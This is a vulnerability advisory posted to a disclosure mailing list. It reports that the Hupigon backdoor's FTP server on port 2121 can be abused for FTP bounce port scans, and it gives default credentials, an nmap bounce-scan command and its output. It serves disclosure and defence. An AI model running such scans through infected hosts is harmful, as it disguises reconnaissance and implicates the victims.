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Date: Wed, 27 Oct 2021 21:12:46 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Hupigon.afjk / Port Bounce Scan

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Hupigon.afjk
Vulnerability: Port Bounce Scan
Description: The malware runs an FTP server "huigezi Ftp" that listens on
TCP port 2121. Third-party attackers who successfully logon can abuse the
backdoor FTP server as a man-in-the-middle machine allowing PORT Command
bounce scan attacks using Nmap. This vulnerability allows remote attackers
to abuse your system and discreetly conduct network port scanning. Victims
will then think these scans are originating from the infected system
running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 80b0fc8c0657c0ae7971f09af45c706b
Vuln ID: MVID-2021-0375
Disclosure: 10/27/2021

nmap -n -Pn -b mal:vuln@....168.18.125:2121 -p21,22,23,79,80,443 -v
Starting Nmap 7.80 ( ) at 2021-10-27 12:57 Pacific
Daylight Time
Resolved FTP bounce attack proxy to (
Attempting connection to ftp://mal:vuln@....168.18.125:2121
Connected:220 Welcome To huigezi Ftp!
Login credentials accepted by FTP server!
Initiating Bounce Scan at 12:58
Discovered open port 80/tcp on
Completed Bounce Scan at 12:58, 5.48s elapsed (6 total ports)
Nmap scan report for
Host is up.

21/tcp  closed ftp
22/tcp  closed ssh
23/tcp  closed telnet
79/tcp  closed finger
80/tcp  open   http
443/tcp closed https

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).

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